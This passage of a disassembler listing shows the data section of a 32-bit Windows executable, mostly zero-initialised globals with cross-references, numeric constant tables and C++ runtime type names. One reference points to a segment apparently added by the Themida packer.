; DATA XREF: ___:off_43CD68o dd 0Fh dup(0) off_43CD64 dd offset off_43CCE4 ; DATA XREF: sub_4247EC+BAr ; sub_4247EC+D9r ... off_43CD68 dd offset off_43CD24 ; DATA XREF: sub_4247EC+F4r ; sub_4247EC+11Br ... align 10h dword_43CD70 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+1Dw ; sub_424A4A+1Er ... dword_43CD74 dd 0 ; DATA XREF: sub_424A4A:loc_424B7Er ; sub_424BF6+BFw dword_43CD78 dd 0 ; DATA XREF: sub_424A4A+192r ; sub_424BF6+E0w align 10h dword_43CD80 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+17w ; sub_424A4A+26r ... dword_43CD84 dd 0 ; DATA XREF: sub_424A4A+13Ar ; sub_424BF6+EAw ... dword_43CD88 dd 0 ; DATA XREF: sub_424A4A+1A1r ; sub_424BF6+23r ... dword_43CD8C dd 0FFFFFFFFh ; DATA XREF: sub_424BF6+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43CDBC dd 16Dh ; DATA XREF: sub_422669+2Ar ; sub_424BF6+2Er ... dword_43CDC0 dd 0FFFFFFFFh ; DATA XREF: sub_424BF6:loc_424C82r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43CDF8 dd 2 dup(0) ; DATA XREF: sub_425DDA+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43CF58 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_425DDA+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43D0B4 dd offset off_427D68 ; DATA XREF: ___:00427F44o ; ___:00428030o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43D0CC dd offset off_427D68 ; DATA XREF: ___:off_427DF8o ; ___:00427E38o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43D0EC dd offset off_427D68 ; DATA XREF: ___:off_427E40o ; ___:00427E84o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43D10C dd offset off_427D68 ; DATA XREF: ___:off_427E8Co ; ___:00427ED0o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43D130 dd offset off_427D68 ; DATA XREF: ___:off_427ED8o ; ___:00427F14o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_42470C align 10h dword_43D150 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o dword_43D158 dd 2 dup(0) ; DATA XREF: sub_40111D+62o ; ___:0040146Eo ... dword_43D160 dd 0 ; DATA XREF: ___:004015B0o ; sub_401ACD+B07o ... dd 5 dup(0) dword_43D178 dd 0 ; DATA XREF: sub_401ACD+B63r ; sub_4150B4+60r dd 2D9h dup(0) dword_43DCE0 dd 0 ; DATA XREF: sub_401ACD+5E62r ; sub_401ACD+5F3Fr ... dd 7Fh dup(0) dword_43DEE0 dd 0 ; DATA XREF: sub_40B0F6+41w ; sub_40B231+40w ... dword_43DEE4 dd 0 ; DATA XREF: sub_40B0F6+47w ; sub_40B231+46w ... dword_43DEE8 dd 0 ; DATA XREF: sub_40B0F6+52w ; sub_40B231+3Ar ... dword_43DEEC dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43DEF0 dd 0 ; DATA XREF: sub_40B231+75r ; sub_40B412+2Aw ... dword_43DEF4 dd 0 ; DATA XREF: ___:004015FFw ; ___:00401677w ... byte_43DEF8 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5DA7r ... align 4 dword_43DEFC dd 1E15h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:00433794o db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:00437A80o dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_4384F0o dword_457444 dd 0AF19h dup(0) db 0 byte_4830A9 db 3 dup(0) ; DATA XREF: Themida_:005682D9o dword_4830AC dd 0C866h dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_43835Co dword_4B5248 dd 56A6h dup(0) dword_4CACE0 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B0F6+13o ... dword_4CACE4 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401ACD:loc_4044D7r ... dword_4CACE8 dd 0 ; DATA XREF: ___:loc_4016FFo dword_4CACEC dd 20h dup(0) ; DATA XREF: ___:004016B6o ; ___:00401750o ... dword_4CAD6C dd 10h dup(0) ; DATA XREF: ___:004016CCo dword_4CADAC dd 24h dup(0) ; DATA XREF: ___:004016E3o dword_4CAE3C dd 0 ; DATA XREF: ___:004016D7w ; ___:00401767w ... dword_4CAE40 dd 0 ; DATA XREF: ___:004016F6w align 10h byte_4CAE50 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CAE54 dd 0 ; DATA XREF: ___:00401704w ; ___:0040171Br ... dword_4CAE58 dd 0 ; DATA XREF: ___:004016BBw ; sub_401ACD+8BEr dword_4CAE5C dd 0 ; DATA XREF: sub_401ACD+7DBFo ; sub_40C9A4+13o ... dword_4CAE60 dd 0 ; DATA XREF: sub_409B12+4A7w ; sub_409B12+4EBr ... dword_4CAE64 dd 0 ; DATA XREF: sub_409B12+65w ; sub_4196BC+166r dword_4CAE68 dd 0 ; DATA XREF: sub_409B12+80Bw ; sub_409B12+880r ... dword_4CAE6C dd 0 ; DATA XREF: sub_409B12+9D8w ; sub_409B12+A43r ... dword_4CAE70 dd 0 ; DATA XREF: sub_409B12+98Aw ; sub_409B12+A13r ... dword_4CAE74 dd 0 ; DATA XREF: sub_409B12+48Dw ; sub_409B12+4DBr ... dword_4CAE78 dd 0 ; DATA XREF: sub_409B12+213w ; sub_409B12+234r dword_4CAE7C dd 0 ; DATA XREF: sub_409B12+9CBw ; sub_409B12+A3Br ... dword_4CAE80 dd 0 ; DATA XREF: sub_409B12+372w ; sub_409B12+3C7r ... dword_4CAE84 dd 0 ; DATA XREF: sub_409B12+40Fw ; sub_41AA42+11Er dword_4CAE88 dd 0 ; DATA XREF: sub_409B12+37Fw ; sub_409B12+3CFr ... dword_4CAE8C dd 0 ; DATA XREF: sub_409B12+3C0w ; sub_418C8E+ADr dword_4CAE90 dd 0 ; DATA XREF: sub_409B12+55Aw ; sub_40F0D5+115r ... dword_4CAE94 dd 0 ; DATA XREF: sub_409B12+72w ; sub_409B12+D2r ... dword_4CAE98 dd 0 ; DATA XREF: sub_409B12+97Dw ; sub_409B12+A06r ... dword_4CAE9C dd 0 ; DATA XREF: sub_409B12+3A6w ; sub_409B12+3E7r ... dword_4CAEA0 dd 0 ; DATA XREF: sub_409B12+859w ; sub_409B12+8ACr ... dword_4CAEA4 dd 0 ; DATA XREF: sub_409B12+2A5w ; sub_409B12+2F0r ... dword_4CAEA8 dd 0 ; DATA XREF: sub_409B12+84Cw ; sub_409B12+8A4r ... dword_4CAEAC dd 0 ; DATA XREF: sub_409B12+B3w dword_4CAEB0 dd 0 ; DATA XREF: sub_409B12+866w ; sub_409B12+8B4r ... dword_4CAEB4 dd 0 ; DATA XREF: sub_409B12+54Dw ; sub_409B12+6D0r ... dword_4CAEB8 dd 0 ; DATA XREF: sub_409B12+58w ; sub_409B12+CAr ... dword_4CAEBC dd 0 ; DATA XREF: sub_409B12+934w dword_4CAEC0 dd 0 ; DATA XREF: sub_401ACD:loc_403F25r ; sub_409B12+A95w ... dword_4CAEC4 dd 0 ; DATA XREF: sub_409B12+A6w ; sub_409B12+F2r dword_4CAEC8 dd 0 ; DATA XREF: sub_409B12+480w ; sub_409B12+4D3r ... dword_4CAECC dd 0 ; DATA XREF: sub_409B12+5F6w ; sub_40BFA3+20r dword_4CAED0 dd 0 ; DATA XREF: sub_409B12+9BEw ; sub_409B12+A33r dword_4CAED4 dd 0 ; DATA XREF: sub_409B12+5E9w ; sub_409B12+754r ... dword_4CAED8 dd 0 ; DATA XREF: sub_409B12+A0Cw dword_4CAEDC dd 0 ; DATA XREF: sub_409B12+B50w dword_4CAEE0 dd 0 ; DATA XREF: sub_409B12+7FEw ; sub_409B12+86Dr ... dword_4CAEE4 dd 0 ; DATA XREF: sub_409B12+1B3w ; sub_40B2F1+3Do ... dword_4CAEE8 dd 0 ; DATA XREF: sub_409B12+997w ; sub_409B12+A1Br ... dword_4CAEEC dd 0 ; DATA XREF: sub_409B12+38Cw ; sub_409B12+3D7r ... dword_4CAEF0 dd 0 ; DATA XREF: sub_409B12+399w ; sub_409B12+3DFr ... dword_4CAEF4 dd 0 ; DATA XREF: sub_409B12+C85w ; sub_409B12+C8Cr ... dword_4CAEF8 dd 0 ; DATA XREF: sub_409B12+6ACw ; ___:0041088Fr dword_4CAEFC dd 0 ; DATA XREF: sub_40111D+1Dr ; sub_40111D+23r ... dword_4CAF00 dd 0 ; DATA XREF: sub_409B12+4B4w ; sub_4153BC+207r dword_4CAF04 dd 0 ; DATA XREF: sub_409B12+9E5w ; sub_409B12+A4Br ... dword_4CAF08 dd 0 ; DATA XREF: sub_401000+51r ; sub_409B12+2B2w ... dword_4CAF0C dd 0 ; DATA XREF: sub_409B12+7Fw ; sub_409B12+DAr ... dword_4CAF10 dd 0 ; DATA XREF: sub_401ACD+5911r ; sub_401ACD+79CEr ... dword_4CAF14 dd 0 ; DATA XREF: ___:004012ADr ; sub_401ACD+5117r ... dword_4CAF18 dd 0 ; DATA XREF: sub_409B12+825w ; sub_409B12+890r ... dword_4CAF1C dd 0 ; DATA XREF: sub_409B12+9A4w ; sub_409B12+A23r dword_4CAF20 dd 0 ; DATA XREF: sub_409B12+C0Ew ; sub_409B12+C3Fr dword_4CAF24 dd 0 ; DATA XREF: sub_409B12+2CCw ; sub_4184E1+47r dword_4CAF28 dd 0 ; DATA XREF: sub_409B12+22Dw dword_4CAF2C dd 0 ; DATA XREF: sub_409B12+91Aw ; sub_409B12+92Er dword_4CAF30 dd 0 ; DATA XREF: sub_409B12+C28w dword_4CAF34 dd 0 ; DATA XREF: sub_409B12+2D9w ; sub_4184E1+4Fr dword_4CAF38 dd 0 ; DATA XREF: sub_409B12+574w ; sub_409B12+6E8r ... dword_4CAF3C dd 0 ; DATA XREF: sub_409B12+83Fw ; sub_409B12+873r dword_4CAF40 dd 0 ; DATA XREF: sub_409B12+220w ; sub_409B12+23Cr dword_4CAF44 dd 0 ; DATA XREF: sub_409B12+172w ; sub_409B12+1C2r ... dword_4CAF48 dd 0 ; DATA XREF: sub_401ACD+1E30r ; sub_401ACD+5AC7r ... dword_4CAF4C dd 0 ; DATA XREF: sub_4017ED+C4r ; sub_401ACD+51A1r ... dword_4CAF50 dd 0 ; DATA XREF: sub_409B12+567w ; sub_409B12+6DCr ... dword_4CAF54 dd 0 ; DATA XREF: sub_409B12+8DBw ; sub_409B12:loc_40A40Bw ... dword_4CAF58 dd 0 ; DATA XREF: sub_401000+26r ; sub_409B12+28Bw ... dword_4CAF5C dd 0 ; DATA XREF: sub_401ACD+7959r ; sub_409B12+69Fw ... dword_4CAF60 dd 0 ; DATA XREF: sub_409B12+32Dw ; sub_409B12+341r ... dword_4CAF64 dd 0 ; DATA XREF: sub_409B12+3B3w ; sub_409B12+3EFr ... dword_4CAF68 dd 0 ; DATA XREF: sub_409B12+C01w ; sub_409B12+C37r dword_4CAF6C dd 0 ; DATA XREF: sub_409B12+818w ; sub_409B12+888r ... dword_4CAF70 dd 0 ; DATA XREF: sub_409B12+206w ; sub_409B12+227r dword_4CAF74 dd 0 ; DATA XREF: sub_409B12+18Cw ; sub_409B12+1D2r ... dword_4CAF78 dd 0 ; DATA XREF: sub_409B12+832w ; sub_409B12+898r ... dword_4CAF7C dd 0 ; DATA XREF: sub_409B12+624w ; sub_409B12+774r dword_4CAF80 dd 0 ; DATA XREF: sub_401000+5Ar ; sub_409B12+2BFw ... dword_4CAF84 dd 0 ; DATA XREF: sub_409B12+66Bw ; sub_409B12+79Cr ... dword_4CAF88 dd 0 ; DATA XREF: sub_409B12+320w ; sub_409B12+334r ... dword_4CAF8C dd 0 ; DATA XREF: sub_409B12+644w ; sub_409B12+784r ... dword_4CAF90 dd 0 ; DATA XREF: sub_409B12+44Cw ; sub_409B12+4AEr ... dword_4CAF94 dd 0 ; DATA XREF: sub_409B12+199w ; sub_409B12+1DAr ... dword_4CAF98 dd 0 ; DATA XREF: sub_409B12+365w ; sub_409B12+3BAr ... dword_4CAF9C dd 0 ; DATA XREF: sub_409B12+AA2w dword_4CAFA0 dd 0 ; DATA XREF: sub_409B12+5DCw ; sub_409B12+748r ... dword_4CAFA4 dd 0 ; DATA XREF: sub_4017ED+3Er ; sub_401ACD+5153r ... dword_4CAFA8 dd 0 ; DATA XREF: sub_409B12+4Bw ; sub_409B12+C2r ... dword_4CAFAC dd 0 ; DATA XREF: sub_409B12+473w ; sub_409B12+4CBr ... dword_4CAFB0 dd 0 ; DATA XREF: sub_409B12+165w ; sub_409B12+1BAr ... dword_4CAFB4 dd 0 ; DATA XREF: sub_409B12+9FFw ; sub_409B12+A5Br ... dword_4CAFB8 dd 0 ; DATA XREF: sub_409B12+685w ; sub_409B12+7ACr ... dword_4CAFBC dd 0 ; DATA XREF: sub_401955+D1r ; sub_401ACD+51B6r ... dword_4CAFC0 dd 0 ; DATA XREF: sub_409B12+C1Bw ; sub_409B12+C47r dword_4CAFC4 dd 0 ; DATA XREF: sub_409B12+3Ew ; sub_409B12+BAr ... dword_4CAFC8 dd 0 ; DATA XREF: sub_401000+45r ; sub_409B12+298w ... dword_4CAFCC dd 0 ; DATA XREF: sub_409B12+651w ; sub_409B12+78Cr ... dword_4CAFD0 dd 0 ; DATA XREF: sub_409B12+637w ; sub_409B12+77Cr ... dword_4CAFD4 dd 0 ; DATA XREF: sub_401ACD+73B9r ; sub_409B12+C92w dword_4CAFD8 dd 0 ; DATA XREF: sub_409B12+879w ; ___:004168D5r ... dword_4CAFDC dd 0 ; DATA XREF: sub_409B12+112w dword_4CAFE0 dd 0 ; DATA XREF: sub_409B12+BE7w ; sub_409B12+C22r dword_4CAFE4 dd 0 ; DATA XREF: sub_401ACD+2FE4r ; sub_401ACD+5F98r ... dword_4CAFE8 dd 0 ; DATA XREF: sub_409B12+459w ; sub_409B12+4BBr ... dword_4CAFEC dd 0 ; DATA XREF: sub_409B12+49Aw ; sub_409B12+4E3r ... dword_4CAFF0 dd 0 ; DATA XREF: sub_409B12+466w ; sub_409B12+4C3r ... dword_4CAFF4 dd 0 ; DATA XREF: sub_401955+89r ; sub_401ACD+51D3r ... dword_4CAFF8 dd 0 ; DATA XREF: sub_409B12+1A6w ; sub_409B12+1E2r ... dword_4CAFFC dd 0 ; DATA XREF: sub_409B12+9F2w ; sub_409B12+A53r ... dword_4CB000 dd 0 ; DATA XREF: sub_409B12+158w ; sub_409B12+1ADr ... dword_4CB004 dd 0 ; DATA XREF: sub_409B12+8Cw ; sub_409B12+E2r ... dword_4CB008 dd 0 ; DATA XREF: sub_409B12+610w ; sub_409B12+764r ... dword_4CB00C dd 0 ; DATA XREF: sub_409B12+B43w ; sub_409B12+B5Fr dword_4CB010 dd 0 ; DATA XREF: sub_409B12+33Aw ; sub_419651+55r dword_4CB014 dd 0 ; DATA XREF: sub_409B12+27Ew ; sub_409B12+2D3r ... dword_4CB018 dd 0 ; DATA XREF: sub_409B12+BAAw dword_4CB01C dd 0 ; DATA XREF: sub_409B12+AECw ; sub_40AB31+CEr dword_4CB020 dd 0 ; DATA XREF: sub_409B12+ADFw ; sub_409B12+AE6r ... dword_4CB024 dd 0 ; DATA XREF: sub_4017ED+A6r ; sub_401ACD+5132r ... dword_4CB028 dd 0 ; DATA XREF: sub_401ACD+5124r ; sub_401ACD+7980r ... dword_4CB02C dd 0 ; DATA XREF: sub_409B12+BF4w ; sub_409B12+C2Fr dword_4CB030 dd 0 ; DATA XREF: sub_401ACD+1E56r ; sub_401ACD+5AEDr ... dword_4CB034 dd 0 ; DATA XREF: sub_409B12+9B1w ; sub_409B12+A2Br ... dword_4CB038 dd 0 ; DATA XREF: sub_409B12+65Ew ; sub_409B12+794r ... dword_4CB03C dd 0 ; DATA XREF: sub_40111D+12r ; sub_4017ED+D0r ... dword_4CB040 dd 0 ; DATA XREF: sub_409B12+59Bw ; sub_409B12+70Cr ... dword_4CB044 dd 0 ; DATA XREF: sub_409B12+B36w ; sub_409B12+B57r dword_4CB048 dd 0 ; DATA XREF: sub_409B12+540w ; sub_409B12+6C4r ... dword_4CB04C dd 0 ; DATA XREF: sub_409B12+B29w ; sub_409B12+B4Ar dword_4CB050 dd 0 ; DATA XREF: ___:00401273r ; sub_409B12+31w ... dword_4CB054 dd 0 ; DATA XREF: sub_409B12+17Fw ; sub_409B12+1CAr ... dd 0 dword_4CB05C dd 0 ; DATA XREF: sub_409B12+927w ; sub_409B12+93Br dword_4CB060 dd 0 ; DATA XREF: sub_409B12+99w ; sub_409B12+EAr ... dword_4CB064 dd 0 ; DATA XREF: sub_409B12:loc_409C10w ; sub_409B12+12Bw ... dword_4CB068 dd 0 ; DATA XREF: sub_409B12+126w ; sub_40A7CE+1Cr dword_4CB06C dd 0 ; DATA XREF: sub_409B12:loc_409D00w ; sub_409B12:loc_409D67w ... dword_4CB070 dd 0 ; DATA XREF: sub_409B12+250w ; sub_40A7CE+50r dword_4CB074 dd 0 ; DATA XREF: ___:0040156Ar ; sub_401ACD+4567r ... dword_4CB078 dd 0 ; DATA XREF: sub_409B12+41Ew ; sub_40A7CE+84r dword_4CB07C dd 0 ; DATA XREF: sub_409B12:loc_40A016w ; sub_40A7CE:loc_40A87Er dword_4CB080 dd 0 ; DATA XREF: sub_409B12+4FFw ; sub_40A7CE+B8r dword_4CB084 dd 0 ; DATA XREF: sub_409B12:loc_40A2E7w ; sub_40A7CE:loc_40A8B2r dword_4CB088 dd 0 ; DATA XREF: sub_409B12+7D0w ; sub_40A7CE+ECr dword_4CB08C dd 0 ; DATA XREF: sub_409B12:loc_40A3D2w ; sub_409B12+8EFw ... dword_4CB090 dd 0 ; DATA XREF: sub_409B12+8EAw ; sub_40A7CE+120r dword_4CB094 dd 0 ; DATA XREF: sub_401ACD:loc_406F17r ; sub_409B12:loc_40A466w ... dword_4CB098 dd 0 ; DATA XREF: sub_409B12+94Fw ; sub_40A7CE+154r dword_4CB09C dd 0 ; DATA XREF: sub_401ACD+456Fr ; sub_409B12:loc_40A582w ... dword_4CB0A0 dd 0 ; DATA XREF: sub_409B12+A6Bw ; sub_40A7CE+188r dword_4CB0A4 dd 0 ; DATA XREF: sub_409B12:loc_40A5CCw ; sub_40A7CE:loc_40A982r dword_4CB0A8 dd 0 ; DATA XREF: sub_409B12+AB5w ; sub_40A7CE+1BCr dword_4CB0AC dd 0 ; DATA XREF: sub_409B12:loc_40A616w ; sub_40A7CE:loc_40A9B6r dword_4CB0B0 dd 0 ; DATA XREF: sub_409B12+AFFw ; sub_40A7CE+1F0r dword_4CB0B4 dd 0 ; DATA XREF: sub_409B12:loc_40A68Aw ; sub_40A7CE:loc_40A9EAr dword_4CB0B8 dd 0 ; DATA XREF: sub_409B12+B73w ; sub_40A7CE+224r dword_4CB0BC dd 0 ; DATA XREF: sub_409B12:loc_40A6D4w ; sub_40A7CE:loc_40AA1Er dword_4CB0C0 dd 0 ; DATA XREF: sub_409B12+BBDw ; sub_40A7CE+258r dword_4CB0C4 dd 0 ; DATA XREF: sub_409B12:loc_40A772w ; sub_40A7CE:loc_40AA52r dword_4CB0C8 dd 0 ; DATA XREF: sub_409B12+C5Bw ; sub_40A7CE+28Cr dword_4CB0CC dd 0 ; DATA XREF: sub_409B12:loc_40A7BCw ; sub_40A7CE:loc_40AA86r dword_4CB0D0 dd 0 ; DATA XREF: sub_409B12+CA5w ; sub_40A7CE+2C0r dword_4CB0D4 dd 7 dup(0) ; DATA XREF: sub_40AC0F+32o dword_4CB0F0 dd 0 ; DATA XREF: sub_40BA56+18r ; sub_40BFEB+92w ... dword_4CB0F4 dd 0 ; DATA XREF: sub_40C124+4Dr ; sub_40C124+2F1w ... dd 7FEh dup(0) dword_4CD0F0 dd 6 dup(0) ; DATA XREF: sub_40C124+D2o ; sub_40C124+13Bo ... dword_4CD108 dd 0 ; DATA XREF: sub_40BACD+2C4w ; sub_40BACD+348o dword_4CD10C dd 0 ; DATA XREF: sub_40BACD+33Ew ; sub_40BACD+35Ar dword_4CD110 dd 0 ; DATA XREF: sub_40BACD+2CFw dword_4CD114 dd 0 ; DATA XREF: sub_40BACD+2B9w ; sub_40BACD:loc_40BDE2r dword_4CD118 dd 20h dup(0) ; DATA XREF: sub_40BACD+2E2o ; sub_40BACD+302o dword_4CD198 dd 0 ; DATA XREF: sub_40BACD+2D5w dword_4CD19C dd 0 ; DATA XREF: sub_40BACD+2EFw ; sub_40BACD+30Fw dword_4CD1A0 dd 0 ; DATA XREF: sub_40BACD:loc_40BE3Dr align 8 dword_4CD1A8 dd 0 ; DATA XREF: sub_40BACD+82w ; sub_40BACD+101o dword_4CD1AC dd 41h dup(0) ; DATA XREF: sub_40BACD+41o dword_4CD2B0 dd 41h dup(0) ; DATA XREF: sub_40BACD+69o dword_4CD3B4 dd 0 ; DATA XREF: sub_40BACD+F7w ; sub_40BACD+113r dword_4CD3B8 dd 0 ; DATA XREF: sub_40BACD+52w dword_4CD3BC dd 0 ; DATA XREF: sub_40BACD+4Dw ; sub_40BACD+D4r dword_4CD3C0 dd 20h dup(0) ; DATA XREF: sub_40BACD+9Ao ; sub_40BACD+BAo dword_4CD440 dd 0 ; DATA XREF: sub_40BACD+8Fw dword_4CD444 dd 0 ; DATA XREF: sub_40BACD+A7w ; sub_40BACD+C7w dword_4CD448 dd 0 ; DATA XREF: sub_40BACD:loc_40BBF6r align 10h dword_4CD450 dd 0 ; DATA XREF: sub_40BACD+1A5w ; sub_40BACD+225o dword_4CD454 dd 41h dup(0) ; DATA XREF: sub_40BACD+167o dword_4CD558 dd 41h dup(0) ; DATA XREF: sub_40BACD+18Co dword_4CD65C dd 0 ; DATA XREF: sub_40BACD+21Bw ; sub_40BACD+237r dword_4CD660 dd 0 ; DATA XREF: sub_40BACD+17Aw dword_4CD664 dd 0 ; DATA XREF: sub_40BACD+175w ; sub_40BACD+1F8r dword_4CD668 dd 20h dup(0) ; DATA XREF: sub_40BACD+1BEo ; sub_40BACD+1DEo dword_4CD6E8 dd 0 ; DATA XREF: sub_40BACD+1B1w dword_4CD6EC dd 0 ; DATA XREF: sub_40BACD+1CBw ; sub_40BACD+1EBw dword_4CD6F0 dd 0 ; DATA XREF: sub_40BACD:loc_40BD1Ar align 8 dword_4CD6F8 dd 0 ; DATA XREF: sub_40BACD+417w ; sub_40BACD+470o dword_4CD6FC dd 0A2h dup(0) ; DATA XREF: sub_40BACD+405o dword_4CD984 dd 41h dup(0) ; DATA XREF: sub_40BACD+3CFo dword_4CDA88 dd 0 ; DATA XREF: sub_40BACD+3FCw ; sub_40BACD+423r align 10h dword_4CDA90 dd 0 ; DATA XREF: sub_40BACD+466w ; sub_40BACD+482r dword_4CDA94 dd 0 ; DATA XREF: sub_40BACD+429w dword_4CDA98 dd 0 ; DATA XREF: sub_40BACD+436w dword_4CDA9C dd 0 ; DATA XREF: sub_40BACD+3F6w dd 0 dword_4CDAA4 dd 0 ; DATA XREF: sub_40BACD:loc_40BF65r dd 0 dword_4CDAAC dd 0 ; DATA XREF: sub_40B719+Er ; sub_40B719+32r dword_4CDAB0 dd 0 ; DATA XREF: sub_40B719+9r ; sub_40B719+26r dword_4CDAB4 dd 82h dup(0) ; DATA XREF: sub_40C59B+8Do dword_4CDCBC dd 2 dup(0) ; DATA XREF: sub_40CF04+68o dword_4CDCC4 dd 0 ; DATA XREF: sub_40D89F+8w ; ___:0040DC6Eo dd 0 dword_4CDCCC dd 2 dup(0) ; DATA XREF: ___:0040DBA4o dword_4CDCD4 dd 0 ; DATA XREF: ___:0040E4D7r dd 0 dd 0 dword_4CDCE0 dd 0 ; DATA XREF: ___:0040E4AAr dword_4CDCE4 dd 0 ; DATA XREF: ___:0040E48Cr ; ___:0040E4F5r dd 0 dword_4CDCEC dd 0 ; DATA XREF: sub_40BACD+2AEr ; ___:0040E6E8w dd 0 dword_4CDCF4 dd 0 ; DATA XREF: sub_40B785+1Cr dword_4CDCF8 dd 0 ; DATA XREF: ___:0040EFE8w ; ___:0040F00Fr ... dd 3 dup(0) dword_4CDD08 dd 0 ; DATA XREF: ___:00410905r align 10h dword_4CDD10 dd 0 ; DATA XREF: sub_412351+4w ; sub_412351+9o dd 109h dup(0) dword_4CE138 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F6Eo ; sub_401ACD:loc_404AC4o dword_4CE758 dd 0 ; DATA XREF: sub_401ACD+1A23w ; sub_401ACD+2F66r ... dd 11Ch dup(0) dword_4CEBCC dd 1000h dup(0) ; DATA XREF: sub_4151AC+1Do ; sub_41524Co ... dword_4D2BCC dd 0 ; DATA XREF: sub_4151AC+13o ; sub_41524C+Eo ... dword_4D2BD0 dd 0 ; DATA XREF: sub_4155F7+Fr ; sub_4157F0+12r align 8 dword_4D2BD8 dd 0Eh dup(0) ; DATA XREF: sub_416922+Fo dword_4D2C10 dd 80h dup(0) ; DATA XREF: sub_4175E9+41o dword_4D2E10 dd 200h dup(0) ; DATA XREF: sub_416F1A+C7o ; sub_417275+DDo ... dword_4D3610 dd 200h dup(0) ; DATA XREF: sub_416F1A+D6o ; sub_417275+F4o ... dword_4D3E10 dd 0 ; DATA XREF: sub_416F1A+86w ; sub_4170EC+94r dword_4D3E14 dd 0 ; DATA XREF: sub_416F1A+A7w ; sub_417552+55r ... dword_4D3E18 dd 0 ; DATA XREF: sub_416F1A+A0w ; sub_4170EC+D6r ... dword_4D3E1C dd 0 ; DATA XREF: sub_416F1A+79w ; sub_4170EC+35r ... dword_4D3E20 dd 80h dup(0) ; DATA XREF: sub_417552+5Eo dword_4D4020 dd 0 ; DATA XREF: sub_416F1A+93w ; sub_4170EC+A2r align 8 dword_4D4028 dd 0 ; DATA XREF: sub_416F1A+E7o ; sub_416F1A+103r ... dword_4D402C dd 0 ; DATA XREF: sub_417275+17Bw ; sub_41741C+107w dword_4D4030 dd 0 ; DATA XREF: sub_417275+180w ; sub_41741C+10Dw ... dword_4D4034 dd 0 ; DATA XREF: sub_417275+159w ; sub_417552+4Fr dword_4D4038 dd 0 ; DATA XREF: sub_4178BA+22w ; sub_4178BA:loc_417A3Fw ... dword_4D403C dd 0 ; DATA XREF: sub_401ACD+3CC3o ; sub_417788+12o ... dd 0 dword_4D4044 dd 0 ; DATA XREF: sub_4178BA+1Cr 